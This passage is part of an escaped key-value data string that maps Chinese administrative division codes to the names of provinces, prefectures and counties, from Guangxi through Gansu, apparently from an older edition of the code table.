452724\":\"广西环江毛南族自治县\",\"452725\":\"广西南丹县\",\"452726\":\"广西天峨县\",\"452727\":\"广西凤山县\",\"452728\":\"广西东兰县\",\"452729\":\"广西巴马瑶族自治县\",\"452730\":\"广西都安瑶族自治县\",\"452731\":\"广西大化瑶族自治县\",\"4528\":\"广西钦州地区\",\"452802\":\"广西钦州市\",\"452824\":\"广西灵山县\",\"452826\":\"广西浦北县\",\"46\":\"海南省\",\"4600\":\"海南省三亚各市县\",\"460001\":\"海南省通什市\",\"460002\":\"海南省琼海市\",\"460003\":\"海南省儋州市\",\"460021\":\"海南省琼山县\",\"460022\":\"海南省文昌县\",\"460024\":\"海南省万宁县\",\"460025\":\"海南省定安县\",\"460026\":\"海南省屯昌县\",\"460027\":\"海南省澄迈县\",\"460028\":\"海南省临高县\",\"460030\":\"海南省白沙黎族自治县\",\"460031\":\"海南省昌江黎族自治县\",\"460032\":\"海南省东方黎族自治县\",\"460033\":\"海南省乐东黎族自治县\",\"460034\":\"海南省陵水黎族自治县\",\"460035\":\"海南省保亭黎族苗族自治县\",\"460036\":\"海南省琼中黎族苗族自治县\",\"460037\":\"海南省西沙群岛\",\"460038\":\"海南省南沙群岛\",\"460039\":\"海南省中沙群岛的岛礁及其海域\",\"4601\":\"海南省海口市\",\"460101\":\"海南省海口市市辖区\",\"460102\":\"海南省海口市振东区\",\"460103\":\"海南省海口市新华区\",\"460104\":\"海南省海口市秀英区\",\"4602\":\"海南省三亚市　　　　　　　\",\"460201\":\"海南省三亚市市辖区\",\"51\":\"四川省\",\"5101\":\"四川省成都市\",\"510101\":\"四川省成都市市辖区\",\"510104\":\"四川省成都市锦江区\",\"510105\":\"四川省成都市青羊区\",\"510106\":\"四川省成都市金牛区\",\"510107\":\"四川省成都市武候区\",\"510108\":\"四川省成都市成华区\",\"510112\":\"四川省成都市龙泉驿区\",\"510113\":\"四川省成都市青白江区\",\"510121\":\"四川省金堂县\",\"510122\":\"四川省双流县\",\"510123\":\"四川省温江县\",\"510124\":\"四川省郫县\",\"510125\":\"四川省新都县\",\"510128\":\"四川省崇庆县\",\"510129\":\"四川省大邑县\",\"510130\":\"四川省邛崃县\",\"510131\":\"四川省蒲江县\",\"510132\":\"四川省新津县\",\"510181\":\"四川省都江堰市\",\"510182\":\"四川省彭州市\",\"5102\":\"四川省重庆市\",\"510201\":\"四川省重庆市市辖区\",\"510202\":\"四川省重庆市市中区\",\"510203\":\"四川省重庆市大渡口区\",\"510211\":\"四川省重庆市江北区\",\"510212\":\"四川省重庆市沙坪坝区\",\"510213\":\"四川省重庆市九龙坡区\",\"510214\":\"四川省重庆市南岸区\",\"510215\":\"四川省重庆市北碚区\",\"510216\":\"四川省重庆市万盛区\",\"510217\":\"四川省重庆市双桥区\",\"510221\":\"四川省长寿县\",\"510222\":\"四川省巴县\",\"510223\":\"四川省綦江县\",\"510224\":\"四川省江北县\",\"510227\":\"四川省潼南县\",\"510228\":\"四川省铜梁县\",\"510230\":\"四川省大足县\",\"510231\":\"四川省荣昌县\",\"510232\":\"四川省璧山县\",\"510281\":\"四川省永川市\",\"510282\":\"四川省江津市\",\"510283\":\"四川省合川市\",\"5103\":\"四川省自贡市\",\"510301\":\"四川省自贡市市辖区\",\"510302\":\"四川省自贡市自流井区\",\"510303\":\"四川省自贡市贡井区\",\"510304\":\"四川省自贡市大安区\",\"510311\":\"四川省自贡市沿滩区\",\"510321\":\"四川省荣县\",\"510322\":\"四川省富顺县\",\"5104\":\"四川省攀枝花市\",\"510401\":\"四川省攀枝花市市辖区\",\"510402\":\"四川省攀枝花市东区\",\"510403\":\"四川省攀枝花市西区\",\"510411\":\"四川省攀枝花市仁和区\",\"510421\":\"四川省米易县\",\"510422\":\"四川省盐边县\",\"5105\":\"四川省泸州市\",\"510501\":\"四川省泸州市市辖区\",\"510502\":\"四川省泸州市市中区\",\"510521\":\"四川省泸县\",\"510522\":\"四川省合江县\",\"510523\":\"四川省纳溪县\",\"510524\":\"四川省叙永县\",\"510525\":\"四川省古蔺县\",\"5106\":\"四川省德阳市\",\"510601\":\"四川省德阳市市辖区\",\"510602\":\"四川省德阳市市中区\",\"510622\":\"四川省绵竹县\",\"510623\":\"四川省中江县\",\"510625\":\"四川省什邡县\",\"510681\":\"四川省广汉市\",\"5107\":\"四川省绵阳市\",\"510701\":\"四川省绵阳市市辖区\",\"510703\":\"四川省绵阳市涪城区\",\"510704\":\"四川省绵阳市游仙区\",\"510722\":\"四川省三台县\",\"510723\":\"四川省盐亭县\",\"510724\":\"四川省安县\",\"510725\":\"四川省梓潼县\",\"510726\":\"四川省北川县\",\"510727\":\"四川省平武县\",\"510781\":\"四川省江油市\",\"5108\":\"四川省广元市\",\"510801\":\"四川省广元市市辖区\",\"510802\":\"四川省广元市市中区\",\"510811\":\"四川省广元市元坝区\",\"510812\":\"四川省广元市朝天区\",\"510821\":\"四川省旺苍县\",\"510822\":\"四川省青川县\",\"510823\":\"四川省剑阁县\",\"510824\":\"四川省苍溪县\",\"5109\":\"四川省遂宁市\",\"510901\":\"四川省遂宁市市辖区\",\"510902\":\"四川省遂宁市市中区\",\"510921\":\"四川省蓬溪县\",\"510922\":\"四川省射洪县\",\"5110\":\"四川省内江市\",\"511001\":\"四川省内江市市辖区\",\"511002\":\"四川省内江市市中区\",\"511011\":\"四川省内江市东兴区\",\"511022\":\"四川省乐至县\",\"511023\":\"四川省安岳县\",\"511024\":\"四川省威远县\",\"511025\":\"四川省资中县\",\"511027\":\"四川省简阳县\",\"511028\":\"四川省隆昌县\",\"511081\":\"四川省资阳市\",\"5111\":\"四川省乐山市\",\"511101\":\"四川省乐山市市辖区\",\"511102\":\"四川省乐山市市中区\",\"511111\":\"四川省乐山市沙湾区\",\"511112\":\"四川省乐山市五通桥区\",\"511113\":\"四川省乐山市金口河区\",\"511121\":\"四川省仁寿县\",\"511122\":\"四川省眉山县\",\"511123\":\"四川省犍为县\",\"511124\":\"四川省井研县\",\"511126\":\"四川省夹江县\",\"511127\":\"四川省洪雅县\",\"511128\":\"四川省彭山县\",\"511129\":\"四川省沐川县\",\"511130\":\"四川省青神县\",\"511131\":\"四川省丹棱县\",\"511132\":\"四川省峨边彝族自治县\",\"511133\":\"四川省马边彝族自治县\",\"511181\":\"四川省峨眉山市\",\"5112\":\"四川省万县市\",\"511201\":\"四川省万县市市辖区\",\"511202\":\"四川省万县市龙宝区\",\"511203\":\"四川省万县市天城区\",\"511204\":\"四川省万县市五桥区\",\"511221\":\"四川省开县\",\"511222\":\"四川省忠县\",\"511223\":\"四川省梁平县\",\"511224\":\"四川省云阳县\",\"511225\":\"四川省奉节县\",\"511226\":\"四川省巫山县\",\"511227\":\"四川省巫溪县\",\"511228\":\"四川省城口县\",\"5113\":\"四川省南充市\",\"511301\":\"四川省南充市市辖区\",\"511302\":\"四川省南充市顺庆区\",\"511303\":\"四川省南充市高坪区\",\"511304\":\"四川省南充市嘉陵区\",\"511321\":\"四川省南部县\",\"511322\":\"四川省营山县\",\"511323\":\"四川省蓬安县\",\"511324\":\"四川省仪陇县\",\"511325\":\"四川省西充县\",\"511381\":\"四川省阆中市\",\"5123\":\"四川省涪陵地区\",\"512301\":\"四川省涪陵市\",\"512322\":\"四川省垫江县\",\"512323\":\"四川省南川县\",\"512324\":\"四川省丰都县\",\"512326\":\"四川省武隆县\",\"5125\":\"四川省宜宾地区\",\"512501\":\"四川省宜宾市\",\"512527\":\"四川省宜宾县\",\"512528\":\"四川省南溪县\",\"512529\":\"四川省江安县\",\"512530\":\"四川省长宁县\",\"512531\":\"四川省高县\",\"512532\":\"四川省筠连县\",\"512533\":\"四川省珙县\",\"512534\":\"四川省兴文县\",\"512535\":\"四川省屏山县\",\"5130\":\"四川省达川地区\",\"513001\":\"四川省达川市\",\"513002\":\"四川省万源县\",\"513021\":\"四川省达县\",\"513022\":\"四川省宣汉县\",\"513023\":\"四川省开江县\",\"513029\":\"四川省大竹县\",\"513030\":\"四川省渠县\",\"5131\":\"四川省雅安地区\",\"513101\":\"四川省雅安市\",\"513122\":\"四川省名山县\",\"513123\":\"四川省荥经县\",\"513124\":\"四川省汉源县\",\"513125\":\"四川省石棉县\",\"513126\":\"四川省天全县\",\"513127\":\"四川省芦山县\",\"513128\":\"四川省宝兴县\",\"5132\":\"四川省阿坝藏族羌族自治州\",\"513221\":\"四川省汶川县\",\"513222\":\"四川省理县\",\"513223\":\"四川省茂县\",\"513224\":\"四川省松潘县\",\"513225\":\"四川省南坪县\",\"513226\":\"四川省金川县\",\"513227\":\"四川省小金县\",\"513228\":\"四川省黑水县\",\"513229\":\"四川省马尔康县\",\"513230\":\"四川省壤塘县\",\"513231\":\"四川省阿坝县\",\"513232\":\"四川省若尔盖县\",\"513233\":\"四川省红原县\",\"5133\":\"四川省甘孜藏族自治州\",\"513321\":\"四川省康定县\",\"513322\":\"四川省泸定县\",\"513323\":\"四川省丹巴县\",\"513324\":\"四川省九龙县\",\"513325\":\"四川省雅江县\",\"513326\":\"四川省道孚县\",\"513327\":\"四川省炉霍县\",\"513328\":\"四川省甘孜县\",\"513329\":\"四川省新龙县\",\"513330\":\"四川省德格县\",\"513331\":\"四川省白玉县\",\"513332\":\"四川省石渠县\",\"513333\":\"四川省色达县\",\"513334\":\"四川省理塘县\",\"513335\":\"四川省巴塘县\",\"513336\":\"四川省乡城县\",\"513337\":\"四川省稻城县\",\"513338\":\"四川省得荣县\",\"5134\":\"四川省凉山彝族自治州\",\"513401\":\"四川省西昌市\",\"513422\":\"四川省木里藏族自治县\",\"513423\":\"四川省盐源县\",\"513424\":\"四川省德昌县\",\"513425\":\"四川省会理县\",\"513426\":\"四川省会东县\",\"513427\":\"四川省宁南县\",\"513428\":\"四川省普格县\",\"513429\":\"四川省布拖县\",\"513430\":\"四川省金阳县\",\"513431\":\"四川省昭觉县\",\"513432\":\"四川省喜德县\",\"513433\":\"四川省冕宁县\",\"513434\":\"四川省越西县\",\"513435\":\"四川省甘洛县\",\"513436\":\"四川省美姑县\",\"513437\":\"四川省雷波县\",\"5135\":\"四川省黔江地区\",\"513521\":\"四川省石柱土家族自治县\",\"513522\":\"四川省秀山土家族苗族自治县\",\"513523\":\"四川省黔江土家族苗族自治县\",\"513524\":\"四川省酉阳土家族苗族自治县\",\"513525\":\"四川省彭水苗族土家族自治县\",\"5136\":\"四川省广安地区\",\"513601\":\"四川省华蓥市\",\"513621\":\"四川省岳池县\",\"513622\":\"四川省广安县\",\"513623\":\"四川省武胜县\",\"513624\":\"四川省邻水县\",\"5137\":\"四川省巴中地区\",\"513701\":\"四川省巴中市\",\"513721\":\"四川省通江县\",\"513722\":\"四川省南江县\",\"513723\":\"四川省平昌县\",\"52\":\"贵州省\",\"5201\":\"贵州省贵阳市\",\"520101\":\"贵州省贵阳市市辖区\",\"520102\":\"贵州省贵阳市南明区\",\"520103\":\"贵州省贵阳市云岩区\",\"520111\":\"贵州省贵阳市花溪区\",\"520112\":\"贵州省贵阳市乌当区\",\"520113\":\"贵州省贵阳市白云区\",\"5202\":\"贵州省六盘水市\",\"520201\":\"贵州省六盘水市钟山区\",\"520202\":\"贵州省六盘水市盘县特区\",\"520203\":\"贵州省六盘水市六枝特区\",\"520221\":\"贵州省水城县\",\"5221\":\"贵州省遵义地区\",\"522101\":\"贵州省遵义市\",\"522102\":\"贵州省赤水市\",\"522121\":\"贵州省遵义县\",\"522122\":\"贵州省桐梓县\",\"522123\":\"贵州省绥阳县\",\"522124\":\"贵州省正安县\",\"522125\":\"贵州省道真仡佬苗族自治县\",\"522126\":\"贵州省务川仡佬苗族自治县\",\"522127\":\"贵州省凤冈县\",\"522128\":\"贵州省湄潭县\",\"522129\":\"贵州省余庆县\",\"522130\":\"贵州省仁怀县\",\"522132\":\"贵州省习水县\",\"5222\":\"贵州省铜仁地区\",\"522201\":\"贵州省铜仁市\",\"522222\":\"贵州省江口县\",\"522223\":\"贵州省玉屏侗族自治县\",\"522224\":\"贵州省石阡县\",\"522225\":\"贵州省思南县\",\"522226\":\"贵州省印江土家族苗族自治县\",\"522227\":\"贵州省德江县\",\"522228\":\"贵州省沿河土家族自治县\",\"522229\":\"贵州省松桃苗族自治县\",\"522230\":\"贵州省万山特区\",\"5223\":\"贵州省黔西南布依族苗族自治州\",\"522301\":\"贵州省兴义市\",\"522322\":\"贵州省兴仁县\",\"522323\":\"贵州省普安县\",\"522324\":\"贵州省晴隆县\",\"522325\":\"贵州省贞丰县\",\"522326\":\"贵州省望谟县\",\"522327\":\"贵州省册亨县\",\"522328\":\"贵州省安龙县\",\"5224\":\"贵州省毕节地区\",\"522401\":\"贵州省毕节市\",\"522422\":\"贵州省大方县\",\"522423\":\"贵州省黔西县\",\"522424\":\"贵州省金沙县\",\"522425\":\"贵州省织金县\",\"522426\":\"贵州省纳雍县\",\"522427\":\"贵州省威宁彝族回族苗族自治县\",\"522428\":\"贵州省赫章县\",\"5225\":\"贵州省安顺地区\",\"522501\":\"贵州省安顺市\",\"522502\":\"贵州省清镇市\",\"522522\":\"贵州省开阳县\",\"522523\":\"贵州省息烽县\",\"522524\":\"贵州省修文县\",\"522526\":\"贵州省平坝县\",\"522527\":\"贵州省普定县\",\"522528\":\"贵州省关岭布依族苗族自治县\",\"522529\":\"贵州省镇宁布依族苗族自治县\",\"522530\":\"贵州省紫云苗族布依族自治县\",\"5226\":\"贵州省黔东南苗族侗族自治州\",\"522601\":\"贵州省凯里市\",\"522622\":\"贵州省黄平县　\",\"522623\":\"贵州省施秉县\",\"522624\":\"贵州省三穗县\",\"522625\":\"贵州省镇远县\",\"522626\":\"贵州省岑巩县\",\"522627\":\"贵州省天柱县\",\"522628\":\"贵州省锦屏县\",\"522629\":\"贵州省剑河县\",\"522630\":\"贵州省台江县\",\"522631\":\"贵州省黎平县\",\"522632\":\"贵州省榕江县\",\"522633\":\"贵州省从江县\",\"522634\":\"贵州省雷山县\",\"522635\":\"贵州省麻江县\",\"522636\":\"贵州省丹寨县\",\"5227\":\"贵州省黔南布依族苗族自治州\",\"522701\":\"贵州省都匀市\",\"522722\":\"贵州省荔波县\",\"522723\":\"贵州省贵定县\",\"522724\":\"贵州省福泉县\",\"522725\":\"贵州省瓮安县\",\"522726\":\"贵州省独山县\",\"522727\":\"贵州省平塘县\",\"522728\":\"贵州省罗甸县\",\"522729\":\"贵州省长顺县\",\"522730\":\"贵州省龙里县\",\"522731\":\"贵州省惠水县\",\"522732\":\"贵州省三都水族自治县\",\"53\":\"云南省\",\"5301\":\"云南省昆明市\",\"530101\":\"云南省昆明市市辖区\",\"530102\":\"云南省昆明市五华区\",\"530103\":\"云南省昆明市盘龙区\",\"530111\":\"云南省昆明市官渡区\",\"530112\":\"云南省昆明市西山区\",\"530121\":\"云南省呈贡县\",\"530122\":\"云南省晋宁县\",\"530123\":\"云南省安宁县\",\"530124\":\"云南省富民县\",\"530125\":\"云南省宜良县\",\"530126\":\"云南省路南彝族自治县\",\"530127\":\"云南省嵩明县\",\"530128\":\"云南省禄劝彝族苗族自治区\",\"5302\":\"云南省东川市\",\"530201\":\"云南省东川市市辖区\",\"5321\":\"云南省昭通地区\",\"532101\":\"云南省昭通市\",\"532122\":\"云南省鲁甸县\",\"532123\":\"云南省巧家县\",\"532124\":\"云南省盐津县\",\"532125\":\"云南省大关县\",\"532126\":\"云南省永善县\",\"532127\":\"云南省绥江县\",\"532128\":\"云南省镇雄县\",\"532129\":\"云南省彝良县\",\"532130\":\"云南省威信县\",\"532131\":\"云南省水富县\",\"5322\":\"云南省曲靖地区\",\"532201\":\"云南省曲靖市\",\"532223\":\"云南省马龙县\",\"532224\":\"云南省宜威县\",\"532225\":\"云南省富源县\",\"532226\":\"云南省罗平县\",\"532227\":\"云南省师宗县\",\"532228\":\"云南省陆良县\",\"532231\":\"云南省寻甸回族彝族自治县\",\"532233\":\"云南省会泽县\",\"5323\":\"云南省楚雄彝族自治州\",\"532301\":\"云南省楚雄市\",\"532322\":\"云南省双柏县\",\"532323\":\"云南省牟定县\",\"532324\":\"云南省南华县\",\"532325\":\"云南省姚安县\",\"532326\":\"云南省大姚县\",\"532327\":\"云南省永仁县\",\"532328\":\"云南省元谋县\",\"532329\":\"云南省武定县\",\"532331\":\"云南省禄丰县\",\"5324\":\"云南省玉溪地区\",\"532401\":\"云南省玉溪市\",\"532422\":\"云南省江川县\",\"532423\":\"云南省澄江县\",\"532424\":\"云南省通海县\",\"532425\":\"云南省华宁县\",\"532426\":\"云南省易门县\",\"532427\":\"云南省峨山彝族自治县\",\"532428\":\"云南省新平彝族傣族自治县\",\"532429\":\"云南省元江哈尼族彝族自治县\",\"5325\":\"云南省红河哈尼族彝族自治州\",\"532501\":\"云南省个旧市\",\"532502\":\"云南省开远市\",\"532522\":\"云南省蒙自县\",\"532523\":\"云南省屏边苗族自治县\",\"532524\":\"云南省建水县\",\"532525\":\"云南省石屏县\",\"532526\":\"云南省弥勒县\",\"532527\":\"云南省泸西县\",\"532528\":\"云南省元阳县\",\"532529\":\"云南省红河县\",\"532530\":\"云南省金平苗族瑶族傣族自治县\",\"532531\":\"云南省绿春县\",\"532532\":\"云南省河口瑶族自治县\",\"5326\":\"云南省文山壮族苗族自治州\",\"532621\":\"云南省文山县\",\"532622\":\"云南省砚山县\",\"532623\":\"云南省西畴县\",\"532624\":\"云南省麻栗坡县\",\"532625\":\"云南省马关县\",\"532626\":\"云南省丘北县\",\"532627\":\"云南省广南县\",\"532628\":\"云南省富宁县\",\"5327\":\"云南省思茅地区\",\"532701\":\"云南省思茅市\",\"532722\":\"云南省普洱哈尼族继族自治区\",\"532723\":\"云南省墨江哈尼族自治县\",\"532724\":\"云南省景东彝族自治区\",\"532725\":\"云南省景谷傣族彝族自治区\",\"532726\":\"云南省镇沅彝族哈尼族拉祜族自治\",\"532727\":\"云南省江城哈尼族彝族自治县\",\"532728\":\"云南省孟连傣族拉祜族佤族自治县\",\"532729\":\"云南省澜沧拉祜族自治县\",\"532730\":\"云南省西盟佤族自治县\",\"5328\":\"云南省西双版纳傣族自治州\",\"532801\":\"云南省景洪市\",\"532822\":\"云南省勐海县\",\"532823\":\"云南省勐腊县\",\"5329\":\"云南省大理白族自治州\",\"532901\":\"云南省大理市\",\"532922\":\"云南省漾濞彝族自治县\",\"532923\":\"云南省祥云县\",\"532924\":\"云南省宾川县\",\"532925\":\"云南省弥渡县\",\"532926\":\"云南省南涧彝族自治县\",\"532927\":\"云南省巍山彝族回族自治县\",\"532928\":\"云南省永平县\",\"532929\":\"云南省云龙县\",\"532930\":\"云南省洱源县\",\"532931\":\"云南省剑川县\",\"532932\":\"云南省鹤庆县\",\"5330\":\"云南省保山地区\",\"533001\":\"云南省保山市\",\"533022\":\"云南省施甸县\",\"533023\":\"云南省腾冲县\",\"533024\":\"云南省龙陵县\",\"533025\":\"云南省昌宁县\",\"5331\":\"云南省德宏傣族景颇族自治州\",\"533101\":\"云南省畹町市\",\"533102\":\"云南省瑞丽市\",\"533121\":\"云南省潞西县\",\"533122\":\"云南省梁河县\",\"533123\":\"云南省盈江县\",\"533124\":\"云南省陇川县\",\"5332\":\"云南省丽江地区\",\"533221\":\"云南省丽江纳西族自治县\",\"533222\":\"云南省永胜县\",\"533223\":\"云南省华坪县\",\"533224\":\"云南省宁蒗彝族自治县\",\"5333\":\"云南省怒江傈僳族自治州\",\"533321\":\"云南省泸水县\",\"533323\":\"云南省福贡县\",\"533324\":\"云南省贡山独龙族怒族自治县\",\"533325\":\"云南省兰坪白族普米族自治县\",\"5334\":\"云南省迪庆藏族自治州\",\"533421\":\"云南省中甸县\",\"533422\":\"云南省德钦县\",\"533423\":\"云南省维西傈傈族自治县\",\"5335\":\"云南省临沧地区\",\"533521\":\"云南省临沧县\",\"533522\":\"云南省凤庆县\",\"533523\":\"云南省云县\",\"533524\":\"云南省永德县\",\"533525\":\"云南省镇康县\",\"533526\":\"云南省双江拉祜族佤族布朗族傣族\",\"533527\":\"云南省耿马傣族佤族自治县\",\"533528\":\"云南省沧源佤族自治县\",\"54\":\"西藏自治区\",\"5401\":\"西藏拉萨市\",\"540101\":\"西藏拉萨市市辖区\",\"540102\":\"西藏拉萨市城关区\",\"540121\":\"西藏林周县\",\"540122\":\"西藏当雄县\",\"540123\":\"西藏尼木县\",\"540124\":\"西藏曲水县\",\"540125\":\"西藏堆龙德庆县\",\"540126\":\"西藏达孜县\",\"540127\":\"西藏墨竹工卡县\",\"5421\":\"西藏昌都地区\",\"542121\":\"西藏昌都县\",\"542122\":\"西藏江达县\",\"542123\":\"西藏贡觉县\",\"542124\":\"西藏类乌齐县\",\"542125\":\"西藏丁青县\",\"542126\":\"西藏察雅县\",\"542127\":\"西藏八宿县\",\"542128\":\"西藏左贡县\",\"542129\":\"西藏芒康县\",\"542132\":\"西藏洛隆县\",\"542133\":\"西藏边坝县\",\"542134\":\"西藏盐井县\",\"542135\":\"西藏碧土县\",\"542136\":\"西藏妥坝县\",\"542137\":\"西藏生达县\",\"5422\":\"西藏山南地区\",\"542221\":\"西藏乃东县\",\"542222\":\"西藏扎襄县\",\"542223\":\"西藏贡嘎县\",\"542224\":\"西藏桑日县\",\"542225\":\"西藏琼结县\",\"542226\":\"西藏曲松县\",\"542227\":\"西藏措美县\",\"542228\":\"西藏洛扎县\",\"542229\":\"西藏加查县\",\"542231\":\"西藏隆子县\",\"542232\":\"西藏错那县\",\"542233\":\"西藏浪卡子县\",\"5423\":\"西藏日喀则地区\",\"542301\":\"西藏日喀则市\",\"542322\":\"西藏南木林县\",\"542323\":\"西藏江孜县\",\"542324\":\"西藏定日县\",\"542325\":\"西藏萨迦县\",\"542326\":\"西藏拉孜县\",\"542327\":\"西藏昂仁县\",\"542328\":\"西藏谢通门县\",\"542329\":\"西藏白朗县\",\"542330\":\"西藏仁布县\",\"542331\":\"西藏康马县\",\"542332\":\"西藏定结县\",\"542333\":\"西藏仲巴县\",\"542334\":\"西藏亚东县\",\"542335\":\"西藏吉隆县\",\"542336\":\"西藏聂拉木县\",\"542337\":\"西藏萨嘎县\",\"542338\":\"西藏岗巴县\",\"5424\":\"西藏那曲地区\",\"542421\":\"西藏那曲县\",\"542422\":\"西藏嘉黎县\",\"542423\":\"西藏比如县\",\"542424\":\"西藏聂荣县\",\"542425\":\"西藏安多县\",\"542426\":\"西藏申扎县\",\"542427\":\"西藏索县\",\"542428\":\"西藏班戈县\",\"542429\":\"西藏巴青县\",\"542430\":\"西藏尼玛县\",\"5425\":\"西藏阿里地区\",\"542521\":\"西藏普兰县\",\"542522\":\"西藏札达县\",\"542523\":\"西藏噶尔县\",\"542524\":\"西藏日土县\",\"542525\":\"西藏革吉县\",\"542526\":\"西藏改则县\",\"542527\":\"西藏措勤县\",\"542528\":\"西藏隆格尔县\",\"5426\":\"西藏林芝地区\",\"542621\":\"西藏林芝县\",\"542622\":\"西藏工布江达县\",\"542623\":\"西藏米林县\",\"542624\":\"西藏墨脱县\",\"542625\":\"西藏波密县\",\"542626\":\"西藏察隅县\",\"542627\":\"西藏朗县\",\"61\":\"陕西省\",\"6101\":\"陕西省西安市\",\"610101\":\"陕西省西安市市辖区\",\"610102\":\"陕西省西安市新城区\",\"610103\":\"陕西省西安市碑林区\",\"610104\":\"陕西省西安市莲湖区\",\"610111\":\"陕西省西安市灞桥区\",\"610112\":\"陕西省西安市未央区\",\"610113\":\"陕西省西安市雁塔区\",\"610114\":\"陕西省西安市阎良区\",\"610121\":\"陕西省长安县\",\"610122\":\"陕西省蓝田县\",\"610123\":\"陕西省临潼县\",\"610124\":\"陕西省周至县\",\"610125\":\"陕西省户县\",\"610126\":\"陕西省高陵县\",\"6102\":\"陕西省铜川市\",\"610201\":\"陕西省铜川市市辖区\",\"610202\":\"陕西省铜川市城区\",\"610203\":\"陕西省铜川市郊区\",\"610221\":\"陕西省耀县\",\"610222\":\"陕西省宜君县\",\"6103\":\"陕西省宝鸡市\",\"610301\":\"陕西省宝鸡市市辖区\",\"610302\":\"陕西省宝鸡市渭滨区\",\"610303\":\"陕西省宝鸡市金台区\",\"610321\":\"陕西省宝鸡县\",\"610322\":\"陕西省凤翔县\",\"610323\":\"陕西省岐山县\",\"610324\":\"陕西省扶风县\",\"610326\":\"陕西省眉县\",\"610327\":\"陕西省陇县\",\"610328\":\"陕西省千阳县\",\"610329\":\"陕西省麟游县\",\"610330\":\"陕西省凤县\",\"610331\":\"陕西省太白县\",\"6104\":\"陕西省咸阳市\",\"610401\":\"陕西省咸阳市市辖区\",\"610402\":\"陕西省咸阳市秦都区\",\"610403\":\"陕西省咸阳市杨陵区\",\"610404\":\"陕西省咸阳市渭城区\",\"610422\":\"陕西省三原县\",\"610423\":\"陕西省泾阳县\",\"610424\":\"陕西省乾县\",\"610425\":\"陕西省礼泉县\",\"610426\":\"陕西省永寿县\",\"610427\":\"陕西省彬县\",\"610428\":\"陕西省长武县\",\"610429\":\"陕西省旬邑县\",\"610430\":\"陕西省淳化县\",\"610431\":\"陕西省武功县\",\"610481\":\"陕西省兴平市\",\"6121\":\"陕西省渭南地区\",\"612101\":\"陕西省渭南市\",\"612102\":\"陕西省韩城市\",\"612103\":\"陕西省华阴市\",\"612124\":\"陕西省华县\",\"612126\":\"陕西省潼关县\",\"612127\":\"陕西省大荔县\",\"612128\":\"陕西省蒲城县\",\"612129\":\"陕西省澄城县\",\"612130\":\"陕西省白水县\",\"612132\":\"陕西省合阳县\",\"612133\":\"陕西省富平县\",\"6123\":\"陕西省汉中地区\",\"612301\":\"陕西省汉中市\",\"612321\":\"陕西省南郑县\",\"612322\":\"陕西省城固县\",\"612323\":\"陕西省洋县\",\"612324\":\"陕西省西乡县\",\"612325\":\"陕西省勉县\",\"612326\":\"陕西省宁强县\",\"612327\":\"陕西省略阳县\",\"612328\":\"陕西省镇巴县\",\"612329\":\"陕西省留坝县\",\"612330\":\"陕西省佛坪县\",\"6124\":\"陕西省安康地区\",\"612401\":\"陕西省安康市\",\"612422\":\"陕西省汉阳县\",\"612423\":\"陕西省石泉县\",\"612424\":\"陕西省宁陕县\",\"612425\":\"陕西省紫阳县\",\"612426\":\"陕西省岚皋县\",\"612427\":\"陕西省平利县\",\"612428\":\"陕西省镇坪县\",\"612429\":\"陕西省旬阳县\",\"612430\":\"陕西省白河县\",\"6125\":\"陕西省商洛地区\",\"612501\":\"陕西省商州市\",\"612522\":\"陕西省洛南县\",\"612523\":\"陕西省丹风县\",\"612524\":\"陕西省商南县\",\"612525\":\"陕西省山阳县\",\"612526\":\"陕西省镇安县\",\"612527\":\"陕西省柞水县\",\"6126\":\"陕西省延安地区\",\"612601\":\"陕西省延安市\",\"612621\":\"陕西省延长县\",\"612622\":\"陕西省延川县\",\"612623\":\"陕西省子长县\",\"612624\":\"陕西省安塞县\",\"612625\":\"陕西省志丹县\",\"612626\":\"陕西省吴旗县\",\"612627\":\"陕西省甘泉县\",\"612628\":\"陕西省富县\",\"612629\":\"陕西省洛川县\",\"612630\":\"陕西省宜川县\",\"612631\":\"陕西省黄龙县\",\"612632\":\"陕西省黄陵县\",\"6127\":\"陕西省榆林地区\",\"612701\":\"陕西省榆林市\",\"612722\":\"陕西省神木县\",\"612723\":\"陕西省府谷县\",\"612724\":\"陕西省横山县\",\"612725\":\"陕西省靖边县\",\"612726\":\"陕西省定边县\",\"612727\":\"陕西省绥德县\",\"612728\":\"陕西省米脂县\",\"612729\":\"陕西省佳县\",\"612730\":\"陕西省吴堡县\",\"612731\":\"陕西省清涧县\",\"612732\":\"陕西省子洲县\",\"62\":\"甘肃省\",\"6201\":\"甘肃省兰州市\",\"620101\":\"甘肃省兰州市市辖区\",\"620102\":\"甘肃省兰州市城关区\",\"620103\":\"甘肃省兰州市七里河区\",\"620104\":\"甘肃省兰州市西固区\",\"620105\":\"甘肃省兰州市安宁区\",\"620111\":\"甘肃省兰州市红古区\",\"620121\":\"甘肃省永登县\",\"620122\":\"甘肃省皋兰县\",\"620123\":\"甘肃省榆中县\",\"6202\":\"甘肃省嘉峪关市\",\"620201\":\"甘肃省嘉峪关市市辖区\",\"6203\":\"甘肃省金昌市\",\"620301\":\"甘肃省金昌市市辖区\",\"620302\":\"甘肃省金昌市金川区\",\"620321\":\"甘肃省永昌县\",\"6204\":\"甘肃省白银市\",\"620401\":\"甘肃省白银市市辖区\",\"620402\":\"甘肃省白银市白银区\",\"620403\":\"甘肃省白银市平川区\",\"620421\":\"甘肃省清远县\",\"620422\":\"甘肃省会宁县\",\"620423\":\"甘肃省景泰县\",\"6205\":\"甘肃省天水市\",\"620501\":\"甘肃省天水市市辖区\",\"620502\":\"甘肃省天水市秦城区\",\"620503\":\"甘肃省天水市北道区\",\"620521\":\"甘肃省清水县\",\"620522\":\"甘肃省秦安县\",\"620523\":\"甘肃省甘谷县\",\"620524\":\"甘肃省武山县\",\"620525\":\"甘肃省张家川回族自治县\",\"6221\":\"甘肃省酒泉地区\",\"622101\":\"甘肃省玉门市\",\"622102\":\"甘肃省酒泉市\",\"622103\":\"甘肃省敦煌市\",\"622123\":\"甘肃省金塔县\",\"622124\":\"甘肃省肃北蒙古族自治县\",\"622125\":\"甘肃省阿克塞哈萨克族自治县\",\"622126\":\"甘肃省安西县\",\"6222\":\"甘肃省张掖地区\",\"622201\":\"甘肃省张掖市\",\"622222\":\"甘肃省肃南裕固族自治县\",\"622223\":\"甘肃省民乐县\",\"622224\":\"甘肃省临泽县\",\"622225\":\"甘肃省高台县\",\"622226\":\"甘肃省山丹县\",\"6223\":\"甘肃省武威地区\",\"622301\":\"甘肃省武威市\",\"622322\":\"甘肃省民勤县　